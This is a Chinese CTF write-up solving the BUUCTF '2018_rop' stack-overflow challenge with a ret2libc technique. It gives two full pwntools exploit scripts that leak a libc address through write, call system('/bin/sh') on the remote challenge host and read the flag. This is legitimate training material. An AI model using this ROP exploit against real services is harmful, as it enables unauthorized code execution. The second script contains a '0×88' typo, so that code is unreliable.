先用checksec检查一下,只开了NX,能用栈溢出。
IDA反编译一下,里面也很简单,就调用了一个be_nice_to_people
和vulnerable_function
两个函数。
一次查看一下,be_nice_to_people
里面调用了getegid
库函数,
vulnerable_function
函数里顶一个了个136字节的栈空间,但是read
函数可以输入256个字节,可以栈溢出。
看一看真个文件的函数表,和字符串表,没有找到system
之类的函数,也没有/bin/sh
之类的字符串。有很长的栈溢出空间,可以使用ret2libc解决这道题。
ret2libc题的精髓在于我们要找到将某一个函数的got表进行输出,一定要用到一个输出函数,第一次rop链的输出围绕着构造输出函数的寄存器设置、栈内容设置展开。拿到got表的输出后,然后是找到库内可利用函数的地址,第二次的rop链围绕着获取shell展开。
此处,我们除了可以使用getegid
查找库,也可以使用read
或者write
查找库。
使用LibcSearcher解题的exploit如下:
from pwn import *
from LibcSearcher import *
context.binary = './2018_rop'
elf = context.binary
# context.log_level = 'debug'
io = remote('node4.buuoj.cn',28161)
getegid_got = elf.got['getegid']
getegid_plt = elf.plt['getegid']
write = elf.sym['write']
main = elf.sym['main']
payload = b'a'*(0x88+4)
payload += p32(write)
payload += p32(main)
payload += p32(1)
payload += p32(getegid_got)
payload += p32(4)
io.sendline(payload)
re = io.recv(4)
getegid_addr = u32(re)
print(re)
print(hex(getegid_addr))
libc = LibcSearcher('getegid',getegid_addr)
libc_base = getegid_addr - libc.dump('getegid')
system = libc_base + libc.dump('system')
bins = libc_base + libc.dump('str_bin_sh')
payload = b'a'*(0x88+4)
payload += p32(system)
payload += b'read'
payload += p32(bins)
io.sendline(payload)
io.sendline(b'cat flag')
io.interactive()
不知道由于什么原因,使用LibcSearcher没有跑通,出现了以下的错误:
换了一个网上找的exploit也是在这个语句有问题,之后查了查说是可能上游服务器崩溃了,具体原因不清楚。
之后是使用了手动查库然后一个个试出来的。
手动查库网址:https://libc.blukat.me/
手动查库的时候,自己第一遍先略过了后缀为64的库,结果都不对,才把剩下的都试了试,发现正确的库前面确实写着i386,以后手动查库的时候还是要准确一些,先找可能性最大的,不然真的浪费好多时间。
查库的exploit如下:
from pwn import *
context.binary = './2018_rop'
elf = context.binary
# context.log_level = 'debug'
io = remote('node4.buuoj.cn',28161)
getegid_got = elf.got['getegid']
getegid_plt = elf.plt['getegid']
write = elf.sym['write']
main = elf.sym['main']
payload = b'a'*(0x88+4)
payload += p32(write)
payload += p32(main)
payload += p32(1)
payload += p32(getegid_got)
payload += p32(4)
io.sendline(payload)
re = io.recv(4)
getegid_addr = u32(re)
print(re)
print(hex(getegid_addr))
libc_base = getegid_addr - 0x0bebc0
system = libc_base + 0x03cd10
bins = libc_base + 0x17b8cf
payload = b'a' *(0×88+4) + p32(system) + p32(main) + p32(bins)
io.sendline(payload)
io.sendline(b'cat flag')
io.interactive()